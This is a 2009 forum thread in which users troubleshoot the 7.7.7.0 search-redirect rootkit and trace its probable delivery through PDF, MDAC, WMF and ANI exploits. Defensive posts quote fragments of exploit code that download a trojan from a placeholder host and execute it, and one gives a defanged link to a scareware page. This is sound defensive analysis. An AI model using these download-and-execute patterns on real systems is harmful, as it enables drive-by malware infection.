dslreports logo
    All Forums Hot Topics Gallery
spc
uniqs
25200
amungus
Premium Member
join:2004-11-26
America

amungus

Premium Member

Browser Redirect to 7.7.7.0 - interesting

Just ran into an interesting little infection.

No signs of anything wrong in HJT, MBAM came up with nothing, AVG (7.5 pro) doesn't see it, nothing weird in add/remove programs, no add-ons, hosts file is clean, and no visible process running.

Appears that this is a scripting type exploit???

Found a solution here: »www.bleepingcomputer.com ··· 748.html

Which involves deleting a file in the system32 directory amongst other things.

Do I take it that NoScript might stop such an infection?

So far, only seen this once, but I find it interesting that none of the "usual" symptoms of an infection are present.

User reported nothing unusual until trying to search the internet. Uses Firefox mostly, but searches in IE and Firefox, through Google or Yahoo both showed something about the IP address 7.7.7.0 being used to search, and the results were randomly different sites showing up for search terms.

Anyone else seen this yet? Any ideas how to stop it? Should I have sent the file to AVG for analysis before deleting it?
mysec
Premium Member
join:2005-11-29

2 edits

mysec

Premium Member

said by amungus:

Appears that this is a scripting type exploit???

Do I take it that NoScript might stop such an infection?

Without knowing the attack method that got the trojan that started the problem onto the computer, it's only a guess. Since you say the person uses IE sometimes, it's possible that this was a drive-by download exploit and that IE was the entry point. Once installed, it seems to affect searches no matter the browser used. Disabling scripting at this point would prevent further search compromises:

Google searches redirected via ip 7.7.7.0 (Temp fix)
»forums.spybot.info/showt ··· ?t=42473
I have now managed to temporarily fix the problem by disabling Javascript.

Another analysis:

7.7.7.0 Google Redirect Virus Alert
»www.andydidyk.com/2009/0 ··· s-alert/
Basically, if when your search results are loading you see "7.7.7.0? in your browser's status bar, you need to browse to your C:/Windows/system32/wdmaud.sys and delete the file. You still need to run the antivirus programs to get rid of the Trojan that started the problem (and possibly downloaded other goodies on your PC), but deleting this file did the trick for me.

And Another - note the screenshot of the Google search page:

Troublesome Google hijacking - redirects results through 7.7.7.0
»madmarvonline.com/blog/2 ··· gh-7770/


EDIT: here is a person who was infected who does not use IE, so the trojan had to install by some method other than an IE exploit:

Google/Yahoo Redirecting to Other Sites: A Solution (hopefully)
»chronicle.com/forums/ind ··· =56480.0
I use Mozilla Firefox exclusively, rather than Internet Explorer,


----
rich
katarina2
join:2003-09-07
Houston, TX

3 edits

katarina2

Member

The 7.7.7.0 thing has been an ongoing problem in the Google Web Search Help Forum since right after Christmas, including the altered search results.

The site titles would be correct, as well as the text below the title, but the URL beneath that would be incorrect. Clicking on the title would lead to the incorrect sites. However, users could right click the title and copy / paste the correct URL into the browser address bar and arrive at the site.

You might be interested in Andrewman's observation in the first thread about following the redirects through PPC networks.

AVG finally flagged this for him on Jan 6, 2009 after everything else he had tried (even AVG up until that morning) had failed to detect it.

C:\System Volume Information\_restore{E122B047-759C-4F77-90CD-2AB29091ACA0}\RP869\A0047913.sys

»www.virustotal.com/anali ··· a1469e20

what is happening with the search engines?
»www.google.com/support/f ··· ec&hl=en

I am seeing a modified web search results page
»www.google.com/support/f ··· 8d&hl=en

MacGyver

join:2001-10-14
Vancouver, BC

MacGyver to amungus

to amungus
Sounds like a rootkit. Try using UnHackMe to find and erradicate it.

Cartel
Intel inside Your sensitive data outside
Premium Member
join:2006-09-13
Chilliwack, BC

Cartel to amungus

Premium Member

to amungus
I see unhack me is not free.
would RootKit Hook Analyzer and\or RootAlyzer work?

MacGyver

join:2001-10-14
Vancouver, BC

MacGyver

UnHackMe does have a fully funtioning trial. I used successfully it over Christmas to clean a family member's machine. Whatever works...
mysec
Premium Member
join:2005-11-29

1 recommendation

mysec to katarina2

Premium Member

to katarina2
said by katarina2:

The 7.7.7.0 thing has been an ongoing problem in the Google Web Search Help Forum since right after Christmas, including the altered search results.

Thanks for those links to the forums. Several concluded that the exploit was triggered remotely by a malicious PDF file. The trojan file was sysaudio.sys.

Another link:

http://www.bleepingcomputer.com/forums/lofiversion/index.php/t175838.html
SUMMARY: In short, there are some sites that performing remote code execution based on security vulnerabilities in unpatched or un-updated versions of Adobe Acrobat (Reader and Full) version 7 and 8. The rootkit is sent encapsulated in a PDF file and security holes in Acrobat allow the rootkit file to execute after reception.
...
But this is what I have observed thus far. After entering via the PDF security vulnerability, the file C:\WINDOWS\system32\sysaudio.sys is created and executes first as a Trojan and then a Rootkit Agent. The next time the browser is restarted, search sites on google are redirected to ad sites. At this point a number of other infections also appear, however I do not know yet if this is because sysaudio.sys is fetching new malware from home or because the redirected ad sites are injecting them into the host. Whatever the case, all were undetected by BitDefender 2008 in aggressive scan mode and Zonealarm basic firewall. This might be because the rootkit was stealthing other malware activities.

One way this can be triggered by the PDF file is with the Adobe Reader URI (Universal Resource Indicator) function which enables it to access remote resources:

....<< /Type /OpenAction
/S /URI
 
/URI (http://www.some_site.com/trojan.exe)
 
 

This clearly shows that it is possible to access any external file on the Internet.

The current exploit trojan file is wdmaud.sys file (Windows Driver Model Audio). Note that this and sysaudio.sys are file names also used as legitimate Windows files.

Why use a legitimate file name? Perhaps to trick the user? Note the warnings in the Google forums to beware of manually deleting a critical Windows file with the same name.

Whether the current exploit uses a PDF file or some other file to trigger the download, doesn't matter, for they all have this in common: a URL can be placed in the code to trigger a download of a trojan executable.

So, How do people protect against such exploits?
  • Obviously, keep applications patched. Yet, this often doesn't happen.

  • Obviously #2: Use AV. Yet, this exploit seems to have bypassed a number of AV products.

  • Not so obvious to many: any solution which will prevent an executable file from running that is not already installed on the computer.

  • I've never found a malicious PDF file to test, but other file types perform the same function and can be tested.

    Here is the MDAC (Microsoft Data Access Components) exploit. The URL to download the file is triggered by the MDAC vulnerability, if not patched. Note that the trojan.exe file is renamed to svchost.exe (a legitimate Windows file name) and copied to the temp directory where it attempts to execute:
    <script language=VBSscript>
    df.setAttribute "classid",  "clsid:BD96........
     
    dl="http://some_site.com/trojan.exe
     
    fname1=F.BuildPath(tmp,fname1)
    fname1=svchost.exe
    shell execute fname1
     
     
    


    Here, a user tested with Software Restriction Policies:




    Another user with ProcessGuard:




    A different file that can retrieve an executable file from the internet is the WMF (Windows Media File):

    GetProcAddress-LoadLibrary-GetSystemDirectory-
    urlmon.dll-URLDownloadToFile-WinExec- 
     
    http://some_site.com/some_trojan.exe
     
     
    

    Here, blocked by Anti-Executable.



    _______________________________________________________

    With such protection in place, the trojan executable doesn't get on to the system. Period.

    ----
    rich
    katarina2
    join:2003-09-07
    Houston, TX

    katarina2

    Member

    said by mysec:

    The current exploit trojan file is wdmaud.sys file (Windows Driver Model Audio). Note that this and sysaudio.sys are file names also used as legitimate Windows files.

    Why use a legitimate file name? Perhaps to trick the user? Note the warnings in the Google forums to beware of manually deleting a critical Windows file with the same name.

    Those are quite noisy threads, aren't they? They tend to continue growing uncontrollably. Thanks for reviewing them and providing your insight.

    After reading and re-reading those threads many times, I would like to make the observation that earlier reports related to a 1.2.3.0 redirect with the sysaud.sys file and changed to 7.7.7.0 with the wdmaud.sys file.

    To add to the trickery, Andrewman was caught off-guard because an improperly located sysaud.sys and wdmaud.sys was what he was looking for and didn't find. Note his observation when AVG finally identified his file.

    what is happening with the search engines?
    http://www.google.com/support/forum/p/Web+Search/thread?tid=438bb54f1b4639ec&hl=en

    (Thread currently has 47 entries and this one is close to the bottom. Sorry ... no way to lead to the exact post in the thread.)

    my virus was NOWHERE inside c:\windows - and that had me stuck for a little bit. The fact everyone had it in c:\windows\ directory - and it was named sysaudio.sys or wdmaud.sys - every time - that threw me quite a bit.

    Andrewman was searching for either sysaudio.sys or wdmaud.sys files in "c:\windows\system32" and/or "c:\windows" folders like earlier posters had been seeking and had success with deleting.

    However, when AVG finally detected the problem, he was surprised to find it was not sysaudio.sys or wdmaud.sys on his system, but A0047913.sys located here:

    C:\System Volume Information\_restore{E122B047-759C-4F77-90CD-2AB29091ACA0}\RP869\A0047913.sys

    Note that he also was seeing the 7.7.7.0 redirect, which is why he was looking for the same thing others before him had looked for.

    MBAM initially caught the sysaud.sys file when the user was being directed through 1.2.3.0. But once the 7.7.7.0 and wdmaud.sys entered the picture, MBAM ceased to detect it. I don't know if that has changed yet or not.

    Here is another thread where the wdmaud.sys file was an issue and the Kaspersky online scanner detected it. The OP didn't mention (maybe failed to notice) a redirect going through 7.7.7.0

    Google search issue incorrect search result URLs displayed
    http://www.google.com/support/forum/p/Web+Search/thread?tid=1d2e5508da003176&hl=en

    All in all, knowing that prevention is achievable(I haven't seen it on my system) that doesn't reduce the frustration of those who are having to comb the internet looking for a solution when the handful of products they try to use to detect it don't seem to be up to the task. What works in one situation does not work in another. I feel for them. :-(
    mysec
    Premium Member
    join:2005-11-29

    mysec

    Premium Member

    said by katarina2:

    To add to the trickery, Andrewman was caught off-guard because an improperly located sysaud.sys and wdmaud.sys was what he was looking for and didn't find. Note his observation when AVG finally identified his file...

    Andrewman was searching for either sysaudio.sys or wdmaud.sys files in "c:\windows\system32" and/or "c:\windows" folders like earlier posters had been seeking and had success with deleting.

    Not having any expertise in detection/removal, I find some of this stuff hard to follow, but it makes for interesting reading!

    What I look for is what the payload is and how it is delivered, to see if my own protection is adequate. This is not always easy to determine, since a victim may not be aware at all as to how the infection occurred. Also, some analyses are vague. This is not uncommon:
    Infection by the Trojan is accomplished via a silent "drive-by-download" infection kit
    such as Neosploit,

    Or Mpack, or any other infection kit. But "drive-by download" takes in a lot of things, and many people rush to the conclusion that it is an IE exploit. I considered this at first, since the OP sometimes uses IE. However, it turns out to be different.

    In a conversation last evening, a friend pointed out that even though we have never found an infected PDF file to test, there was a discussion and Proof of Concept (PoC) several years ago about the URI and Javascript vulnerabilities in such files. In running those PoC PDF files, I got these alerts:






    ____________________________________________________

    Now, this was pure coincidence, since I had disabled all except two necessary plugins long ago for purposes of having the Reader load almost instantly.

    After this PoC was released, many rushed around to disable these plugins. But what if a person finds them useful? Besides, there are other possibile vulnerabilities in PDF files. See this paper:

    Portable Document Format (PDF) Security Analysis and Malware Threats
    http://www.blackhat.com/presentations/bh-europe-08/Filiol/Presentation/bh-eu-08-filiol.pdf
    Exploration and Classification of Potentially Dangerous PDF Functions
    • the GoTo function

    • the GoToR function

    • the GoToE function

    • the launch function

    • the URI function

    • the SubmitForm function

    • the ImportData function

    • the JavaScript function
    It is worth mentioning that in most of the cases a malware will use
    and combine more than one such critical function.

    I mention all of this because I think you can understand the futility for the average user in attempting to identify functions in the *many* file types which can exploit their particular application. This is what the hackers do to create an exploit, and what the developers patch!

    Back to the Proof of Concept: The problem here is that a malicious script can do most anything. PoC often demonstrates by launching the Calculator, or a message box with "Hello World!" However, it could also delete all of your photographs of Aunt Minnie or, install a trojan executable. This is why the standard warning in Microsoft Advisories covers all bases:
    an attacker who successfully exploited this vulnerability could take complete control
    of an affected system

    A perusal of the current drive-by exploits shows that the code launches an executable payload - a trojan executable.

    This is why a solution such as Software Restriction Policies (SRP) is effective in blocking this payload, no matter what type of file or application is used to deliver it.

    Note:
  • A patch for the application blocks the code in the malicious file from running.

  • Software Restriction Policies or some other execution prevention solution blocks an executable payload from running.
  • Using the MDAC exploit example in my previous post:
  • A patch for that exploit would prevent the code from running to download the trojan file.

  • SRP and most other execution prevention solutions don't stop the trojan file from downloading but prevent it from executing/installing.
  • One other comment on vulnerabilities: many are published with PoC, but not until an exploit is released do you know exactly what you need to protect against.
    said by katarina2:

    All in all, knowing that prevention is achievable(I haven't seen it on my system) that doesn't reduce the frustration of those who are having to comb the internet looking for a solution when the handful of products they try to use to detect it don't seem to be up to the task. What works in one situation does not work in another. I feel for them. :-(

    Very well stated.

    ----
    rich
    amungus
    Premium Member
    join:2004-11-26
    America

    1 edit

    amungus to katarina2

    Premium Member

    to katarina2
    So this thing has a few variations... sounds like a headache for the anti-malware community to keep up with this sort of thing for sure.

    mysec - the user I helped uses Firefox, barely uses IE.
    Nice in depth analysis there, also interesting to see the "MDAC exploit" example.

    Thanks for all the replies. This seems to be a rather tricky little bit of malware.

    I'm currently using NoScript on my browser at work, hopefully that's at least somewhat helpful with preventing this from happening.

    Also since AVG doesn't seem to help with detection of this, I'm a little upset. Ran into another user with this problem, so this time, I emailed it to them

    Oh, just FYI, VirusTotal had this to say of the uploaded file:

    File wdmaud.sys received on 01.09.2009 21:31:00 (CET)

    Result: 10/38 (26.32%)

    Guess there are several AV programs that are slacking with this one...
    falcomadol
    join:2007-06-23
    Boston, MA

    2 edits

    falcomadol

    Member

    I have apparently found a newer version of this same exploit, I'm also a Firefox only user.

    »www.virustotal.com/anali ··· c4721ccd

    Same wdmaud.sys in WINDOWS/SYSTEM32, but this one is apparently even sneakier, since only 2/37 antivirus packages are hitting on it. Polymorphism sucks.

    My current workaround is using AdBlockPlus to block 7.7.7.0 and 1.2.3.0.

    I'm now trying the Windows Live online scanner to see if it can detect and remove this thing.
    mysec
    Premium Member
    join:2005-11-29

    mysec

    Premium Member

    said by falcomadol:

    only 2/37 antivirus packages are hitting on it. Polymorphism sucks.

    Yes!

    Was it in a PDF file?
    falcomadol
    join:2007-06-23
    Boston, MA

    falcomadol

    Member

    Honestly I don't know. I just noticed today, but I'm not sure how long it might have been here. I just went through and disabled javascripting and internet options in Acrobat Reader as well to be safe.
    mysec
    Premium Member
    join:2005-11-29

    mysec

    Premium Member

    Thanks!

    I'm not trying to single you out, but a number of people have gotten this and can't remember how. It would be helpful for others if we could pin down the attack vector!

    The only clue has been reference to a PDF exploit mentioned in one of the links above.
    falcomadol
    join:2007-06-23
    Boston, MA

    falcomadol

    Member

    I don't recall viewing any suspicious PDF files lately, so I would guess that it was something else, but that doesn't mean that something funky with hidden frames calling PDFs that I didn't notice might not have happened.
    mysec
    Premium Member
    join:2005-11-29

    mysec

    Premium Member

    Thanks. I'm going to poke around the internet later to see if anything else turns up.
    falcomadol
    join:2007-06-23
    Boston, MA

    2 edits

    falcomadol

    Member

    The file in question seems to be dated well before it could possibly be. I just installed this system in the last month, and the file is dated April 2008.

    I am getting hits with the OneCare online scanner, so I'll keep you posted on whether it will be able to remove it. Looks like Microsoft might be the most reliable source for identifying this thing for now.

    -edit-

    Ok, yeah, OneCare online did indeed detect and remove Trojan:Win32/Daonol.B (along with Chepdu.B and Zbot.BU, apparently Symantec is totally useless crap, I'm particularly annoyed about Zbot). So, if you're seeing evidence of the 7.7.7.0 exploit, I suggest doing an online scan at Windows Live: OneCare
    mysec
    Premium Member
    join:2005-11-29

    mysec

    Premium Member

    said by falcomadol:

    The file in question seems to be dated well before it could possibly be. I just installed this system in the last month, and the file is dated April 2008.

    Note this comment from a Google blog:
    »www.google.com/support/f ··· 8d&hl=en
    The infected files have an interesting characteristic: the Creation Date in explorer shows up as later than the Date Last Accessed and Date Modified ones. In my system, the Creation Date showed as 28/10/2006 while the others showed 4/8/2004!

    This is certainly a puzzling exploit: none of the write ups shows a file which delivered the trojan. A Google blog makes reference to a PDF file but evidently none have been retrieved and sent to an AV vendor.

    »www.google.com/support/f ··· 8d&hl=en
    They seem to come in via infected Adobe pdf files read with older versions of adobe reader: mine was version 7 and it had the security hole. As part of my work, I have to read a lot of pdf files from all sorts of places relating to databases and Unix, hence how my system became infected.

    Too bad he didn't find the file that triggered the exploit.

    That no PDF file has been retrieved may be due in part to the fact that a user is not aware of the infection until using a search engine. By then, files which were in a temporary directory could have been deleted.

    Exploits don't just happen in outer cyberspace. A file has to download/cache in order for code to execute. When you view a web page, your browser is reading it from the cache or temporary internet folder. Start with an empty cache, connect to DLSR and look at all of the files that download/cache for the page to display.

    So, the drive-by exploit is triggered from a file that is cached. That is why disabling scripting in the browser will prevent those exploits from running which depend on a javascript file, for example.

    You can test for yourself, if you like. I'll send the URL in IM.

    With scripting disabled, go to

    hxxp://proantiviruspcscan.com/xxxxx

    Using Opera: the HTML page caches but just a blank screen displays because this code in the HTML page could not execute to load the window.js file which does all of the work:

    script src='window.js'></script>
     
    

    Using Opera: if I enable Javascript, reload the page, now things start happening:



    _________________________________________________

    (This is not a nasty one - you can cancel and then close the window)

    Looking back on some exploits, we can see how a cached file is necessary.

    WMF (Windows Media File) MS06-001

    In an above post, I showed how the payload was blocked. This screenshot shows the WMF file actually downloading, followed by its appearance in the cache, at which point the trojan will download.

    This code in the HTML page triggers the wmf file to download:

    i frame src="wmf_exp.wmf" i frame
     
    






    _________________________________________________________

    ANI (Animated Cursor) MS07-017

    The code in the HTML page caches the .ani file:

    style>
    * CURSOR: url("./exp_2/1.ani");}
    style>
     
    



    _________________________________________________________

    at which point code in the .ani file attempts to download the trojan:




    PDF exploit

    I have not been able to test a PDF exploit, so here is an analysis of CVE-2008-0655 by ISC from last year, where a banner ad served up the PDF file. The user would have been unaware of this happening in the background, nor aware that the PDF file cached:

    Adobe Reader exploit in the wild
    »isc.sans.org/diary.html? ··· yid=3958
    Since January 20, 2008 banner ads are actively serving malicious PDF files that exploit the vulnerability and install the Zonebac Trojan. A malicious PDF file (called 1.pdf in this example) served from IP address "85.17.221.2" downloads a malware specimen called Trojan, a variant of Zonebac...

    Until 2 days ago, this attack did not have a patch available while being actively exploited in the wild...

    No anti-virus vendors currently detect the malicious PDF files though we have provided samples to all. This type of exploit works for both web browser and email attack vectors.


    (image credit: PcPrimiPassi.it FORUM)
    _______________________________________________________

    I referenced a paper in an above post with details of various code exploits possible in a PDF file.

    This current trojan file wdmaud.sys could have been delivered by any of the above exploits, or by one yet to be revealed!

    We should start a contest to see who can be the first to discover the secret. Proof of a file required.

    ----
    rich

    abc1234
    @swbell.net

    abc1234 to amungus

    Anon

    to amungus
    where a banner ad served up the PDF file. The user would have been unaware of this happening in the background, nor aware that the PDF file cached

    That is exactly what has been happening. I have had to clean a lot of machines with new trojans, not specifically this one, but with a little analyzing I found they're coming from the PDF exploit.

    The PDFs are either coming through iframes or banner ads.
    falcomadol
    join:2007-06-23
    Boston, MA

    2 edits

    falcomadol

    Member

    That's my suspicion, it's a drive-by PDF in a frame that I'm not seeing. I'm normally a heavy adblocker, but you don't have to make those things of a size that is actually visible, and if you're attacking from god knows where, you might not be in the blocklist yet.

    As part of my protective strategy I've disabled the PDF plugin in Firefox. Whatever this exploit is, if it came via PDF, it came through Reader 9.0.0 in my case, because I turn off the Adobe autoloader program that normally patches it, and I turn off version checking as well.

    Are we aware of something that specifically targets Adobe Reader 9.0.0?

    -edit-

    Oh, that's useless, I just "updated" reader and it still claims to be version 9.0.0.

    VikingBob
    Go Jets Go!
    Premium Member
    join:2004-06-05
    MB Canada

    VikingBob

    Premium Member

    9.0.0.332 is the latest Reader version.

    Yes, there are a number of things targeting Reader, and other insecure versions of other programs. QuickTime, Flash player, RealPlayer, and so on. People are getting better at patching their OS, but not so good at third party software. The bad guys want to get in your machine, and they will keep trying to find a way to do it.
    mysec
    Premium Member
    join:2005-11-29

    mysec to abc1234

    Premium Member

    to abc1234
    said by abc1234 :

    That is exactly what has been happening. I have had to clean a lot of machines with new trojans, not specifically this one, but with a little analyzing I found they're coming from the PDF exploit.

    If you find a pdf file I would like to see it.

    thanks,

    ----
    rich

    thisoneguy
    @comcast.net

    thisoneguy to amungus

    Anon

    to amungus
    I just ran into this problem this morning (google worked yesterday). I imagine the file would still be in my cache as I have not performed a hard reset since the last time things were ok. Can anyone give me guidance on where to search for the potential PDF file?

    norwegian
    Premium Member
    join:2005-02-15
    Outback

    norwegian

    Premium Member


    What browser did you use?

    thisoneguy
    @comcast.net

    thisoneguy to amungus

    Anon

    to amungus
    Firefox 2.0.0.20

    norwegian
    Premium Member
    join:2005-02-15
    Outback

    norwegian

    Premium Member

    General Firefox cache folder path in Windows Vista:

    %LOCALAPPDATA%\Mozilla\Firefox\Profiles\alpha-numeric.default\Cache

    General Firefox cache folder path in Windows XP / Windows 2000:

    C:\Documents and Settings\User_Logon_Name\Local Settings\Application Data\Mozilla\Firefox\Profiles\alpha-numeric.default\Cache

    If you find it can you zip the file up and password protect it please as follows, submit it to all the vendors per this link - »Security »I think my computer is infected or hijacked. What should I do?

    Can you also upload it to rapidshare or something similar and IM the link so I can pass it on to mysec See Profile
    norwegian

    norwegian to thisoneguy

    Premium Member

    to thisoneguy
    Also look at updating Firefox at some stage, see the vunerability report at Mozilla, it may have been your problem too,

    MFSA 2008-65 Cross-domain data theft via script redirect error message (Windows)

    »www.mozilla.org/security ··· x20.html

    thisoneguy
    @comcast.net

    thisoneguy to norwegian

    Anon

    to norwegian
    I found the folder, but the files are non-descript without extensions. They also don't go back much farther than 4AM for some reason. I apologize if I'm missing something, but I would like to help if possible. I searched my computer for all PDF files, but nothing seemed out of place or conspicuous.

    norwegian
    Premium Member
    join:2005-02-15
    Outback

    norwegian

    Premium Member


    You will need to look at what file matches the time frame of the issue.

    I use Opera and if I download/play a flash video on the internet, I have to find the relative file for the time/size of the file, this I rename to a file with a music extension specific, eg: file.wma. I'm gathering the same goes for Firefox, so infact you may not actually see a pdf file there. I should have pointed this out.

    As for 4am, it will depend on the size of the cache as to how much is stored there.

    thisoneguy
    @comcast.net

    thisoneguy

    Anon

    I found out that firefox will show a readable form of the cache by typing "about:cache" in the address bar. Unfortunately, I found no PDF files, or anything from a URL i didn't recognize from early this morning. I'll keep an eye out for anything. Perhaps I can catch this thing again and I'll be better able to preserve any data related to it. Thank you for your help!